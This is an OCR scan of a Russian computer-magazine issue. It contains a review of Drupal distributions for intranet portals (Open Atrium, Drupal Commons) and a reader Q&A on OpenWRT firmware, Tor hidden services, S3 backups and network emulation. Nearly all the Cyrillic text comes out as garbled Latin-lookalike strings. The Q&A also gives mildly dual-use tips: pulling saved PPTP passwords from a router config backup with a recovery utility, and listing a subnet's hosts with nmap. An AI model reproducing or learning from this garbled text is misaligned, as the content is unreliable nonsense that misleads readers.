«N3KOPOBKN» MONHOCTbIO ronas 1 Ha pa3paboTKy HOBOro peLleHuUs C Hyns
MOXKeTnoTpeboBaTbCs CIULLKOM MHOTO BpeMeHW. [TpUYMH TY T HeCKOb-
KO, HO CaMble FNaBHble U3 HUX— OMbIT U CJI0KHOCTb. Drupal He noxox

Ha MHOTUMe CUCTEMbI UAEO0JIOTMYECKH, U3-3a 3TOT0 NPUXOAUTCS CHavana
XOPOLLO MO3HAKOMWUTHCSA C CUCTEMOW M INLLIB MOCE 3TOr0 NPUCTYNaTh K
pa3paboTke. IMeHHO M03TOMY B3ATb 1 BOTTak Cpa3y pa3BepHyTb MOJHO-
LeHHbI BHyTpeHHMIA nopTan Ha Drupal Henb3s. Ha peanu3sauuio Bcex
nepeynceHHbIX Bblle GYHKLMIA C Hyns noTpebyeTcs MHOro BpeMeHu. K
CYacTbio, COOBLLECTBO HE XKEAN0 MUPUTLCS C TAKUM NOJIOXKEHNEM [ief 1
pasHble eronpeAcTaBuTesIs NPeACTaBUIIM CBOW, CNELMaNN3npoBaHHble
cbopku Drupal.

HEOBbIYHbIV DRUPAL

MouuncnernHocTn coobuectsoyDrupal npoctokonoccansHoe. Mgeono-

rus Drupal Bcerpa nofpasyMesana, 4To o0yt 3afa4y MOXKHO peLlnTb

pa3sHbiMu cnocobamu. HaBepHoe, M03TOMY BapuaHTOB peLleHns 3aa4m C

MMEHEM «KOPMOopPaTUBHbIA NOpTan» Takxe MHOro. KaKAbli Takol BapuaHT

BKJlloyaeTB cebs:

1. CMSDrupal.lonbiit Drupal, koTopblii ntoboii enatoLwmin MoxeT cka-
YaTbcoduumanbHoro cantadrupal.org.

]
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2. Ha6opHeobxoauMbix Mopynei. ABTopbl CHOpoK caMoCTOATENbHO MO~
bupatot/paspabatsiBatoT Habop HeobxofUMbIX Moy nei. l0ToBbIE MO-
LyIM BOCHOBHOM bepyTca U3 opuLManbHOro peno3nTopus n Hepeako
nofBepratotcs gopaboTke. MOMUMO HUX B cOCTaB cOOPOK NpaKTUYECKHM
BCErAaBXOAATOPUTMHaNbHbIE NArnHbl, KOTOPbIe HELOCTYMHbI B pe-
nosuTopun. MHorga nonagatoTcs 04eHb UHTEPECHbIE BELLW, UX BMOSIHE
MOXHO MPUMEHUTb ANS APYTUX NPOEKTOB.

3. MpodunbHacTpoek.0TOBLIN NPOdPMALNO3BONSAET Pa3BEPHYTH MOJIHO-
cTblo paboTocnocobHbIN NpoeKT. TpUMeHNTEeNbHO K HalleMy crlyyaio —
KOpPMNOpaTUBHbIW NopTan.

OPEN ATRIUM

http://openatrium.com/

Open Atrium —npoekT, cnelnanbHo OpUEHTUPOBAHHbI Ha Co3AaHne
BHYTpPeHHUX nopTanos. MHorve XXypHanucTbl B CBOUX 0630pax nosuuuo-
HupytoT Open Atrium Kak NpoAYKT, NpefHa3HaYeHHbI A5 ynpaBneHus
npoektamu. 3To ownboyHoe MHeHue. [la, B nepsyto ovepeab OAnosunuumo-
HUpyeTCs KaK yaobHas cucTeMa 15 KONNeKTUBHOIO ynpaBaeHus npo-
€KTaMU, HO HUYTO He MeLlaeT BOCMO0J1b30BaThCS MM B KayecTBe NAaTGopMbl
LN MHTpaHeT-nopTana. Bniwobom cnyyae OAnoctpoeH Ha Drupal, a3HaumT,
BCerfaMOoXHO0 BOCMOJIb30BaTbCSA MOLLHbIMU BO3MOXHOCTAMK Drupal gns
ynpaBneHus koHTeHToM. B cBazn ¢ 3TuM OA3acnyKeHHO MOXHO c4ynTaTh
3aKOHYEeHHbIM pelleHneM AN pa3BepTbiBaHUA MHTPAHET-NOPTaN0B.
MpoekTOAocTaTouHo Monoaoii. Mepeasiansdanossunacse2009r., n
cTexnop nocefoBas BaroH M MajeHbKas TeJleXXKa TakUX Ke TeCTOBbIX
Bepcuii. HecmoTpsiHa cTaTyc «anbda», OAcTan HabupaTb NonynspHoOCTb
M NPUMEHSATLCS A5 Pa3/IMUHbIX TPoeKToB. [lo cBoei nepBoi cTabuibHoOw
Bepciu (1.0} NpoeKT AOPOC ANLLIb B M0 3TOTO FOAA.

KJNIIOYEBbIEBO3MOXHOCTHU

¢ KonnektusHble 6noru. Jlio6oii nonb3zosatesns cuctembl Open Atrium
MMeeTBO3MOXHOCTb BECTU NepcoHanbHblvi bior. Keroycnyram Bce
HeobxopuMble briorrepy dpuun: Teru, yaobHbli wysiwyg-peaakTtop,
noAAepXKa KOMMEHTapnueB U T. .

NOPABOTKA OYHKLNOHAJIA

MpeacTaBneHHble Bo630pe pelieHns NONHOCTbI0 roTOBbI K paboTe,
HO BMOJIHE BO3MOXHO, BaM noTpebyeTcs paclumputs nx yHKLmoHan. Mo-
CKOJIbKY BOCHOBE BCEX CUCTEM NIeXUT cTaHAapTHbI Drupal, cTaHoButcs
BO3MOXHbIM PacLLIMPATL GYHKLMOHAN NYTeMyCTaHOBKM JOMOJHUTENbHBIX
Mopyneinsboratoro penosutopus drupal.org/project. Hanpumep, ToT xe
OpenAtrium3acyeTCTOPOHHWX MOLlyNeit Ierko pacluMpsaeTcs 40 CUCTEMbI
AokyMeHToobOpoOTa.
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e [pynnbl.Bce nosb3oBaTtenu B cucteMe MoryT 6biTh pasgeneHsl/pas-
6pocaHbl no rpynnam. [lns kax Aol rpynnel nonb3oBaTenei cosgaercs
oTaenbHoe paboyee NpocTpaHCTBO.

e Kanenpapu.llnaHnpoBaHue cobbiTuii, opraHnsayms BCTpey —peLle-
HWe BCeX 3TUX 3a[,a4y Bo3naraeTcs HakaneHpapu. BHelwHe kaneHpapm
BbITNAAAT CUMNATUYHO M YEM-TO HANOMWUHAOT NONOUBLIMIACS MHOTUM
Google Calendar.

e Yar.[1ns 06LeHns BHyTpY KOMaHAbI B peasibHOM BpEMEHW UMeeTCs
[0CTaToYHO WycTpbli web-based-yar.

¢ Tpekep3apay.TpekepnoMoraeTopraniusosatb ToDo-nucTsl, pas-
LennTbBCE 3a[1a4M Ha NPOEKTbl, PACCTaBUTL NPUOPUTETHI U NepeaaTh
CO3/aHHble 3aa4M 0NpefeeHHbIM N0b30BaTENAM.

e JlokyMeHTbl. DyHKLWSA NO3BONAET OPraHN30BbIBaTb MOALINBKY L0-
KyMeHTOB. BnosHe crogmTcs 415 opraHn3anum npocToro xpaHuania
LOKYMEHTOB.

e Wiki.[JnsonpeneneHHbix 3afa4 Heo6X04MMO UMETb BO3MOXHOCTb
0MepaTMBHOIO MHOrOKPaTHOr0 peakTMPOBaHUSA/CO34aHUsA HOBbIX
cTpaHuL. 3Ty 3ajavy BceraaynobHo pelaTh Npy NOMOLLM MPOBEPEH-
HoroBpemerneM Wiki.

¢ TMpopyMaHHbIi MHTepdeiic. Drupal Boobue-ToBceraa pyranvsa
yXXacHbI UHTepdeiic... PeansHo—ecnv cMoTpeTb Ha uncThii Drupal,
TOBCMpPaBeAMBOCTb 3TOM MaKCUMbl CTAHOBUTCS lerko nosepuTtb. B OA
e nHTepdelic A0BONbHO XOPOLLIO NpopaboTaH, U c NepBoro B3rnsaa He
cKaxellb, YTo nepen Toboi cucteMa, nocTpoeHHas Ha ocHose Drupal'a.

MOMYJIAPHbIE CEOPKW DRUPAL

CneunanuanpoBaHHble cbopku Drupal MetoTcs He TONIbKO 4151 CO3aHUA
MHTpaHeT-caliToB. EcTb Macca pyrux npoekToB, CO34aHHbIX Ha 0CHOBE
Drupal. Hanbonee nonynspHble U3 HUX NepeymncieHbl HUXe.

¢ Conference Organizing Distribution (http://drupal.org/project/cod)—
MONHOCTbIO FOTOBOE peLleHne ANs 6biCTPOro NoCTPOEHNS CaiiToB-
KoHdepeHLNit. Peann3zoBaHa BO3MOXHOCTb PerncTpaLn y4aCcTHIUKOB,
nobaBrieHVs OK1a[0B, @ Tak)XKe YCTaHOBKM COLMaNbHbIX CBA3e/ Mexay
yyacTHukamu. Cbopkayxe npoBepeHa BpeMEHeM 1 YCMeLHO UCMOob-
3yeTca AN opraHn3auuv Takux koHdeperuni, kak Drupal LA, Drupal
KievCamp.

e ArrayShift(http://drupal.org/project/arrayshift)—c6bopka 3aToyeHa Ha
co3paHue calitaspoge stackoverflow.com.ChopkanoaHoCTbo roToBa K
paboTe, ¥ cee NOMOLLbI MOXKHO bbICTPO pa3BepHY T paboynii canT.

o DrupalSocialNetwrok framework (http:/drupal.org/project/dsnf_install)
—cneunanbHas cbopka, npeHa3HayeHHas 415 NOCTPOEHNS CaiToB—
coumnanbHbix ceTer. 3Ty COOPKY HeNb3 CYUTaTb MOJIHOCTHI0 FOTOBO K
CNONb30BaHNI0, HO OHa JaeT XopoLnii GyHAaMeHT AN CTPONTENbCTBA
NOJSIHOLEHHOM CoLManbHOM CeTH.

e DrupalBin (http://drupal.org/project/drupalbin)—nakert, npegHa-
3HAYEHHBIN 419 CO34aHNA CaNTOB N0 06MeHY/XpaHeH o NPOrpamMMHOro
kona. Hatakomcaite noboi nonb3oBaTeb MOXET ObICTPO 0nybanKo-
BaTb KOA M MONYYNTb Ha Hero IMHK. OTNUYHOe pelleHne Afis CO3AaHNs
CHUNETOB M XpaHeHNs HaNEHHOT0 KOAa.

e ELMS (http://drupal.org/project/elms]—nonHocTbio roTosasi cbopka
415 pa3BopayMBaHns cUCTeMbl ynpaBneHns obydequnem (paspaboTka
nnaHa oby4yeHuns, Co3gaHue cneLnann3npoBaHHbIX KYpcoB UT. A.).
Cbopka BKkJloYaeT N5 cebsi opurnHanbHbie MOLy v,

e eRecruiter (http://drupal.org/project/recruiter) — ancTpubyTve ans
C03JaH1A CailTOB, OPUEHTNPOBaHHbIX Ha Mouck paboTel. CTonToTMe-
TWUTb, 4TO B HACTOSALLMA MOMEHT JOCTYNHa NULbL 6eTa-Bepcus, No3ToMy
€03JaTb NOSIHOLLEHHbI CAlNT AN noncka paboTbl He noayyuntcsa. OgHako
HUYTO He MeLLaeT BOCMNO0Jb30BaThCs AESAMI pa3paboTynkoB M onum-
JINTb CUCTEMY MOJ, cebs.

e Single-useblog (hitp://drupal.org/project/single_user_blog)—naket
A1 CO3/,aHNs NepcoHanbHbIx 6oroB. Bnonte MoxHo paccmaTtpuBath
Kak npoctyto ansTepHatuy WordPress.
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CuMnaTuyHbli kKaneHpapb. Hy yemHe GCalendar?

e WUHTpa-TBUTTEp.CepBrCc MUKpobnoros «TBUTTepa» CTan 4epPTOBCKM
nonynsipeH, M ero GyHKLMOHAN CTaNM UCNONb30BaTh 415 pelleHmns
pasnunuHbix 3afay (He Tonbko ans beccMmbicnenHoro Tpéna). B coctas
OA BXOAUTMOAYNb, peanu3yowmnii nofobHbii GyHKLMOHAN.

OBLLME BMEYATJIEHUA

Open Atrium — xopoLo NpoAyMaHHbIi 1 c6anaHCUPOBAHHbIA NPOEKT.
OHaKTWUBHO pa3BMBAETCH, B HEM PeryNspHO UCMPaBASioT OWNOKM 1
nopabaTbiBalT GyHKLMOHAN. PyHKLMOHANbHbIE BO3MOXKHOCTU ONATh-
TaKW XOPOLWW, ¥ UX BMOJTHE XBAaTUT AN1F OpraHn3aL M NpoaBUHYTOrO
MHTpaHeT-nopTana. PazpaboTynku He nonenunuce n gobasmnu s OA
couManbHylo npunpasy. BHyTpeHHUA TBUTTep M rpynmnbl noMorawT
cpenaTbpaboTybonee NpoAyKTUBHON M BHECTU YYyTOUKY CBO6OAbI B
paboyninpouecc. PagyeTun «Tpekep 3afayu». [[na MHOrMx cnyyaes

ero ¢yHKLMOHana 6osnee YeM ;OCTATOYHO, NO3TOMY Ha HEro BNOJIHE
peasnbHO NepenoXuTb y4eT BbIMOSHEHHbIX/HEBbINONHEHHbIX 3aAaY.
HecMoTps HaBce nepeyncaeHHble NlOCH, Aeso He obownock u bes
MUHYcoB. ToyHee, 04HOr0 MMHYca. B uaHayanbHoM Buae cuctema He
roguTCs L5 OpraHn3auum LokyMeHToobopoTa. MHOrMM KoMNaHNsiM B
nepByto oyepeb HyXXHa UMeHHO 3Ta dyHKuMa. EcnuTel fenaewb Boibop
Bnofb3y OA, TONpUroToBbLCS, YTO NPUAETCA NOTPATUTL HEMHOTO BpeMe-
HW Ha fopaboTKy. BaToM cnyyae BpeMeHU moTpebyeTcs AeiiCTBUTENbHO
He MHOTO, T. K. MHOT1e HY>KHble MOJY/IN YK€ yCTaHOBJIEHbl M HACTPOEHbI.
BocTanbHOM HapeKaHW HeT— NPOAYKT MOIHOCTbIO CNpaBAfeTCcs ¢
BO3JI0XXKEHHbIMW Ha HEero 063aHHOCTAMMU.

OueHka: 8/10.
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DyHKUMOHaNbHLIN TPEKep 3aaay

http://acquia.com/downloads

DrupalCommons He 3aTouyeH cyrybo nof co3faHne KopnopaTUBHbIX CalToB.
[naBHoe Ha3HayYeHWe AUCTpKbyTMBa—pa3paboTka coLmanbHbiX ceTeitn
caiitoBcoobuiecTB. OfLHaKO HUYTO He MELIAeT UCMOb30BaTb 3TOT NPOAYKT
L7151 pa3BopayvBaHus HTpaHeT-nopTanos. [nasHoe, 4to Drupal Commons
«COLManeH» U cpasyiKe roToB opraHM30BaTh CBA3M Mexayy4acTHukamu. Co-
LManbHas HanpaBaeHHoCcTb—ocHoBHas ocoberHocTb DC. B oTanune ot Open
Atrium, paspaboTkoit DC 3aHMMaeTcs 4OCTaTOYHO CEpbe3Hast KoMMaHUs —
Acquia. OHa creyanm3vpyeTcs Ha co3faHnm NpopeccuoHanbHbIX pelleHni
Ha6a3ze Drupal.Bnoptdene koMnaHum nMeeTcs HECKONIbKO rOTOBbIX peLue-
HUW, ocHoBaHHbIX Ha Drupal, —Open Scholar, Acquia Drupal, OpenPublish. O
XOpOLUEM KayeCTBE NPOSYKTOB KOMNAHMUU TakKe FOBOPSTMHOrOYUCIEHHbIE
NONOXMTENbHbIE 0T3bIBbI. HanpuMep, Taxe koMnaxus Microsoft pekomengy-
eTMCnoNb30BaTh NPOAYKTLI Acquia.

KJIIOYEBBIE BO3MOXXHOCTHU

e bBnoru. CounanbHas HaYMHKa IBHO MOBAWSAIA Ha KaYeCTBEHHYI0 pea-
nn3auuio 6aoros. Bcé peannsosBaHo BAyYLWEM BUAE, M N0/1b30BATHCS
6noramu ypesBblyaiiHo ygo6Ho.

e [pynnsi/ceasu.

o Wiki.

e KoHTeHT.

e [lnaHnpoBaHwue cobbITHiA.

OBLUME BMEYATJIEHUA

MpusTHasa B obpaterHun cbopka Drupal. PaszsepHyTb counanbHyto ceTbcee
MOMOLLbI0 — [1e/10 HECKOJIbKMX KNIMKOB. [LN151 CO3[jaHNs CoLMabHbIX CeTelt
ANCTPUBYTUB MOAXOAUT MAEaNbHO, OAHAKO AJIS MOJTHOLLEHHOO UHTPaHeT-
noptanaDC-Bo3MoxHoCTel 3 Kopobkn HefocTaToyHo. Tebe npupeTcs
CKa4aTb [JOMONHUTESIbHbIE MOAYN U3 PENO3UTOPUA M HAPaCTUTb yHK-
LiMOHan caMocTonTeNbHO. BocTanbHoM cbopka BbinosHeHa KayeCTBEHHO U
MOSIHOCTbIO NPUrOfHA 715 MOCTPOEHMUS CaiTOB A5 Pa3INYHbIX 3a4avy.
OueHka:5/10.

BblIBOP PELLUEHA 3ABEPLLIEH

Co3paTtb KoprnopaTuBHbIi nopTan Ha Drupal Bo3aMoxHo. Bnarogaps cne-
LiMann3npoBaHHbIM CbopkaM 3To peanibHo cienaThb 6e3 0cobbiX HaBbIKOB KO-
BbIpsiHUS BHyTpeHHocTeit Drupal v coseplueHHo 6ecnnatHo. Drupal cnasutcs
CBOEN CJIOKHOCTbIO, HO PACCMOTPEHHbIE B CTaTbe MPOAYKThI JIMLIHUI pa3
[L0Ka3bIBaloT, 4T0 Ha 3T0M CMS MoXHO cLienaThb NpakTUYeckun toboi NpoekT,
ByAbTo coLmanbHas ceTb ¢ 60bLINM KONIMYECTBOM Nosib30BaTenel (a-ns
«Xabpaxabp») uau BHyTpeHHWe KopropaTUBHbIe nopTasnsl. BcraTbe Mbl pac-
cMoTpenu ABaHanbosnee yaayHbIX peLlleHns A5 NOCTPOEHNS KOPNOPaTUBHO-
ronoptana.3ToHanbonee «roTOBbIE» BapUaHTbl, KOTOPble 63 0Nackn MOXHO
1CMoNb30BaTh B peasbHbIX yC0BUsAX. Ha BCAKWNIA Clyyait Mbl MOArOTOBUIM
Bpe3Ky CroToBbIMY pelueHusiMu Ha Drupal’e. MepeyncneHHbie TaMm pelueHins He
3aTOYEHbI N0/} UHTPAHET-PECYPC, OAHAKO U3 HUX MOXHO NOYeprHy T aen (Ha-
3BaHWe MOAyNeli), a3aTeM NpUMEHNTL UX K TBOEMY BHYTPEHHEMY CaiTy. 3T
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ECTb BONMPOCbl—NPUCBIJIAK
HAFAQ@REAL.XAKEP.RU

YCTAHOBMJ1BCBOEM POYTEPE

MPOLLUVBKY OPENWRT, HO, KCOXAJIE-
HWIO, 419 YCTAHOBKM MOBEPX AOMOJTHN-
TENBHBIX PUJIOXKEHWIY)KE HE OCTAJIOCh
MECTA.MOJEJIb U3HWNXHEIO LLEHOBOTI O
OVANA3OHA, NONELW-NAMATUYHEEBCEIO
4MB. KAKMM OBPA30M MOXKHOYMEHBLLNTb
PA3SMEP MPOLUNBKW, YOAJINBOTTYA
JIMLLIHEE, YTOBbI UMETb HEKOTOPLI
PE3EPBHAYCTAHOBKY AOMOJIHUTENIbHbIX
MPUIOXEHWI (XO4YY MOCTABUTL CPEACTBO
OJIAMOHNUTOPUHIA)?

[Mpole B3TON CUTYyaL MM leiicTBOBaTb Ha

ornepexeHe NNPOCTO He BKJIOYaTb B
NpoLNBKYTOro, YytoTebe He HYxHO. Tem bonee yto B
pamkaxnpoekta OpenWRT (openwrt.org)
npeAnaraeTcs crelnanbHblii cepaucimage
Generator (bit.ly/oWxmJd), c noMoLbto koToporo
nerko cobupaetcs cobcTBeHHbIN BapuaHT firmware.
BbibpaB Hy)XXHble KOMMOHEHTbI, Ha BbIXOAE Thl
MOJTyYLLb FOTOBYIO MPOLLMBKY MeHbLLIEr0 pa3Mepa,
KOTOPYI0 CMOXeLLb Kak 00bIYHO 3a/IMTb B CBOM poyTep.

N3 TOYKN OOCTYMNAHYXXHO BbITA-
WNTb NAPOSIN ANA PPTP/L2TP-
NOAK/MOYEHWIA. TJE OHU TAM JIEXKAT?

BOIbLWIMHCTBO COBPEMEHHbIX POYTEPOB 1

TOYeK I0CTyna no3BoNsT COXPaHWUTL CBOM
HaCTPOMKM B OTAENbHbIN daiin (v B cnyyae Heobxoam-
MOCTM BbICTPO BOCCTAHOBUTL KOHOUTYpaLmio).
EcTecTBEHHO, B3TOT Gaitf MponuchbiBaoTCs U BCe
napameTpbl MOAKIIOYEHN, BK/Il0Yas HeobxofuMble
LaHHble 151 aBTOPMU3aL MK, a TaKXKE Napoib 4Ns
LoCTynaKagMuHke gesaica. [puyeM napcuTsb nx

BPYYHYto HeT HeobxoamnMocTH, 3aTebs aTo caenaet
cneunansHasytunuta RouterPassView (www.
nirsoft.net/utils/router password recovery.
html). Ecnv B agMmHKe naposib NoKassiBaeTcs Nog
3BE€3/104KaMW, TO €70 MOXHO BbITALLWTb C MOMOLLbIO
Lpyroi GyHKUMKU 3TON yTunuTl “Grab Password
FromIEWindow". MpaBga, 415 3T0r0 3Ty CTpaHuLy
npuaeTca oTkpbiTb B Internet Explorer.

ECTb3AOAYA—COENATbWI-FI-
XOTCMOT, HO COMJTAYNBAEMbBIM
JOCTYMNMOM.MNMOACKAXU PELLEHME, KAK3TO

JYYLIE PEATTN30BATB?

CaMas BaxHasi 4aCTb CUCTEMbl — 3TO

KOHTpOsINep JOCTyNa, KOTOpbIN byaeT
npoBepsiTb, aBTOPMU30BaH M KNNEHT. OTANYHBIM 1
becrnnaTHbIM BapnaHTOM, KOTOPbI CMeNIo MOXHO
ncnonb3osath, aensercs ChilliSpot (www.
chillispot.info). Kak aTo pa6oTaet? Koraa knueHt
NOAKJ/0YAeTCA K XOTCNOTY U NblITaeTcsi NonacTb Ha
KakoW-To canTBuHTepHeTe, Chillispot nepexsaTsl-
BaeT DNS-3anpocknuneHTamnnposepser,
aBTOPM30BaH 1N OH. ECIM KNMEHT eLLe He BBOANT
NOTWH M Naposib, TO OH NepeHanpaBageTcs Ha
CTpaHuLy aBTopu3auun. ABTopu3aLmns BbINOAHAET-
csicnomolyblo noboro RADIUS-cepsepa
(Hanpumep FreeRadius—www.freeradius.org).
EcnnknneHT BBOAUT NPaBUNbHBIANIOMMH M Napofib
nnu beinasTopusosaH paree, ChilliSpot npepgo-
ctaBnsetemypoctyn CeTb. BceaTo bbicTpo
nogHumaeTcsd Ha noboi Linux-mMawmHe.

XQO4Y 3AH03ATb OANH XAKEPCKWIA
AL JIOHBHOBOW BEPCUW FIREFOX, HO
TOTOTKA3bLIBAETCAYCTAHABJIMBATLCA

N3-3AHAPYLLEHMA COBMECTMOCTH
BEPCWIA. MOXKHO JINKAK-TO 3TO OEOATN?

HoBsbie Bepcuu Firefox BbixopaT geicTenTeNb-
HOYacTo.3TOro Heslb35 CKazaTb 0 MHOTUX
pacLIMpeHunsax, KoTopble Korfa-To bbinn onybnnkosa-

Hbl aBTOPaMM, MONan B peno3nTopui 1 bbiau

6narononyyto3abpowetsl. Mpuatom B Firefox'e ects

3alyMTaoTiypaKa: ecyin Baf0He YKa3aHo, 4To OH

COBMECTUMTONLKO C Bepcuei bpaysepa 4.0 (M Huxe),

TococBexeit6.0.20Hyxe He 3apaboTaeT. [leficTBo-

BaTb BTAaKOM CJly4ae Hy)XHO TakK:

1. BcnomuHaem, ytomo6oit .xpi-dain (8 aTom
¢dopmMaTe pacnpocTpaHATCH pacliMpeHns
Firefox)—atozip-apxus. PacnakosbiBaeMero,
4T0bbI A06PATLCH 1,0 BHYTPEHHMX dalnoB.

2. WNwemcpenm pannosinstall.rdfu Haxonum BHy-
TpuHero cekuuio “targetApplication”

<em:targetApplication>
<Description>
<em:id>{ec8030f7-c20a-464f-9b0e-
13a3a9e97384}</em:id>
<em:minVersion>4.0</em:minVersion>
<em:maxVersion>5.0</em:maxVersion>
</Description>
</em:targetApplication>

CoOTBETCTBEHHO, MEHSIEM 3HAYEHMS NapaMeTpoB
minVersion n maxVersion.

3. 3anakoBbiBaeM daifibl Ha3af B zip-apXvB U MeHs -
eMero pacLunpeHime Ha .xpi.

EcTbelue OAMH BapUaHT—YyCTaHOBUTb aAA0H
Nightly Tester Tools (bit.ly/pwWh7c). Toraa o

5 LLIATOB: BU3YAJIMU3NPYEM CXEMY JIOKAJIKHA

EcTb jocTyn B noKanky, npo KOTOpyto MHe POBHbIM
CYETOM HMYEero He M3BECTHO. 3aja4a—KakUM-To
06pa3oM BU3yann3npoBaTh TOMOIOI U0 NOKaNbHON
ceTn. ToecTbHe NPOCTO NOAYYNUTH CINCOK BOCTYMHbIX
XOCTOB (370 MOXKHO cAienaTh 6aHanbHO NMap'oM:
nmap -sL 146.187.130.0/24), aHapucoBsaTb cxemy,

Ha KOTOpPOW bbI1 6bl OTMEYEHbI CBA3W MEX Y HUMU.
Kakve pns3Toro ecTb UHCTPYMEHTbI?
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EcTbpasnnynblie cnocobbl nony4nTh AaH-
n Hble, He0bXOAMMbIE AN NOCTPOEHUS rpada,

Ha KOTOPOM bbl BblIM 0OTMeYeHbI CBA3M
MEX Y pPas3fIMyHbIM XOCTaMu CETW. 3TO U UCMONb30-
BaHne SNMP-pfaHHbIX, n aKTUBHOE CKaHMpoOBaHWe
xocToB (BKJtovas traceroute), nnaccuBHbIi aHanus
Tpaduka.Cnepytolwme yTUANTbI UCMIONb3YIOT 6O
OAHY M3 3TUX TEXHUK, 60 UX KOMBUHaL MO,

LanTopolog (www.lantopolog.com/rus).
E CneuuanbHbIA MIHCTPYMEHT 15 aBTOMaTU-

4eckoronocTpoeHus Gusnyeckon Tonoso-
rM CeTH, KOTOpOe UCMOoNb3yeT AJf BU3yanu3saLnm
AaHHble, COBpaHHbIe C KOMMYTaTOPOB M0 NMPOTOKONY
SNMP.lporpaMma HarnsaHo oTobpaxaeT CTPYKTypy
ceTUBBWAE epeBaKOMMYTaTOPOB U jaxe pacnpe-
AenieHne KoMnbloTepoB no ux noptam. bneck!
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BPEMSI MOAKJI0YEHNS YCTapPEBLLIEro pacluMpeHus
ThI MOJTYYMLLIb HE OTKA3 BYCTAHOBKE U3-3a OLLINOKH
COBMECTWMOCTH, a NpefJIoKeHNe BKNOYUTb afiA0H Ha
CBOW CTpaXx v pucK.

HAYNHAKO MCMOJIb30BATLTOR MO

LINUX'OM.ECTb IBABAPUNAHTA:
MYCTUTb TPAOUK BPAY3EPAYEPE3 TORIFY
(TORIFY FIREFOX) MMM TORSOCKS [TORSOCKS
FIREFOX). MU TAKM TAK PABOTAET.HOYTO
JIYYLIE?

OpHo3HauHo torsocks, noToMy YToB

npoTueHoM cniyyae TBor DNS-Tpaduk byget
rnepefaBaTbCsi BOTKPLITOM BUAE, M 3TO JIErKO MOXET
BbIflaTb TBOIO CETEBYI0 aKTUBHOCTb.

KAK3AMNYCTUTb AHOHVUMHBIN CEPBIC
YEPE3TOR?

u 1.0TkpbiBaeM GUI-nHTepdeitc gns
ynpasnenus Tor'om—Vidalia.
2. MepexopunMBMeHto «Settings = Services».
3. HactpauBaemnapametpsl «Virtual Port»,
«Target»u «Directory Path». Hanpumep, Tak:

Virtual Port: 80

Target: 127.0.0.1:80 or just 127.0.0.1
Directory Path: c:\torhs or /home/username/
torhs

4. Knukaem«Ok», panee nepexofnnmobpatHo B
pasgen«Service» v nosiyyaeM.onion-afpecHa-
Lero cepBuca, No KOTOPOMY OH TOJIbKO 4TO CTan
[OCTYyMNeH.

KAKMNPOLLEBCEIOPEAJIN30BATb
B3KAM AAHHbBIXB OBJIAYHOE
XPAHWUTNLLLEE AMAZON S37?

[pex e Bceroxo4y HanoOMHUTb, YTO MONTYYUTb

pecypcbl Bobnake Amazon MoxHo 6ecnnaTHo
nonporpamme AWS Free Usage Tier (aws.amazon.
com/free), noatomy 3a 63kan gaHHbix 8 S3Heoba3a-
TesbHO laxe NnaTuTb. YTo KacaeTcs Henocpea-
CTBEHHO peann3aluv pe3epBHOro KONMpoBaHus, T
05 pa3Hbix OC AocTynHbI pasHble pelleHuns.

Windows. 115 BUHAbI €CTb HEMaOo MOAXOAALLUX

nporpamm, KoTopble CneLnann3npyoTcs Ha bakane
naHHbIX B obnako Amazon S3. K coxaneHuto, MHorve
13 Hux nnatHele (B Tom yncne CloudBerry Online
Backup, www.cloudberrylab.com). BecnnaTHble

IMYNIMPYEM MJIOXNE YCJ10BNA CBA3W

MY MOBWJTbHOE MPUJTOXEHWE, KOTOPOE, BEPOATHO, BYET PABOTATb
BYCNOBUAXHECTABMIJIbHOIO COEANHEHNA. ECTBJIN PO PAMMBI,
KOTOPBIE MO3BOJIAOT 3MYJIMPOBATbL MPOBJIEMbI CBA3N?

Pa3ecTb MHCTPYMeHTbI, NO3BONSIOLLME 3IMYIMPOBATL BbICOKYIO HAarpy3Ky Ha Beb-cepBuchl,

4T06bI NPOBEPUTL, CMOTYT M OHU BbIAEPXKATb MUKOBbIE HAarpy3ku [Korfa nosib3osare-

f1ei1 04eHb MHOT0), BIIOJIHE MOXKHO NPEANOI0XKMUTh, YTO ECTb PELLEHNS, N03BONRIOLLNE
MMUTUPOBaTL NpobneMbl cBA3K. 3afava ocobeHHo akTyanbHa A1 pa3paboTynkoB MOOMbHBIX
NPUNOXEHWI, KoTopble paboTatoTno HecTabunbHeiM EDGE-, GPRS-, 3G-coefmHerusaM, B 30Hax
Cpa3HbIMYPOBHEM NOKPbITUS ceTh. CuTyaumsycyrybnseTcs ewe nteM, 4T0y KaxAoro CoToBOro
onepaTopacBOMHACTPONKM CETEBOr0 CTEKa M OHU MOTYT CUIIbHO OTINYATLCS OT PEKOMEHA0BaHHbIX
(ymeHblueHHbIMU TaliM-ayTaMu U T. N.). Ecnn B3aTb XCode (developer.apple.com/technologies/tools),
cpeay paspaboTku npunoxernin ansiPhone/iPad, To B HeM nofobHas GyHKLMOHANBHOCTb BKJIIO-
yeHa n3kopobku. GuyaHasbieaeTcs «Network Link Conditioner» v no3sonsieT B HECKONbKO KNMKOB
MCKYCCTBEHHO BOCCO3AaTbyCnoBus npobnemHoro coegnHeruns. lMogWindows ecTb aHanormyHbin
nHcTpyMeHT— SoftPerfect Connection Emulator (www.softperfect.com): oH dpyHKLUMOHANBHBIN, HO
nnaTtHbIn. Yale Bcero bypet goctatoyHo 6ecnnatHoit ytuantel TMnetSim Network Simulator (www.
tmurgent.com/tools.aspx). B Helt HeTnpeaHacTpoeHHbIX NpoduIei, Ho Nobble napamMeTpsl ceTe-
BOro NoAK/0YeHUs (MpoLeHT noTepb, 3a4epXK1 nTak fanee) nerko sagatotcs yepesynobHein GUI-
nHTepoeiic. lpuyeMTakue ycnoBus 3afatoT ANs onpedeseHHbix noptos (Hanpumep, SQL Servera).
Mhorve paszpaboTunkmu Takxe pekomeHaytoTnpoekT WANem (wanem.sourceforge.net). 3to

0cHoBaHHbI Ha Knoppix LiveCD-auctpunbyTns, No3BoNsOLLMIA 3IMyNNPOBATL Pa3fiMyHble yCI10BUS
NoAKJIYEeHNS 4151 HECKOJIbKMX KOMMblOTePOB cpa3y Yepe3ynobHbii Be6-nHTepdeiic. Mcnonbso-

BaHWe uMeHHo LiveCD He BceraaynobHo, HO HUYTO He MeLLaeT 3anyCcTUTb CUCTEMY Ha BUPTYasbHO
MalmHe (Hanpumep, becnnatHom VirtualBox) nucnonbsosats ee GpyHKLMOHAN.

iC, Avwiage e
1 ’ 3G, Gl Commpet ity
W] Wt 1E, Loy Network

Fdgr, Ly Srtwms
Wit Aopwt ige Eine
W, Caad Connecrivry

L

[ — Profise

& . I s Wi, Loy
] ) Lo
Mamwork Link Eersdwath: 44 ol Batdmedth B} e
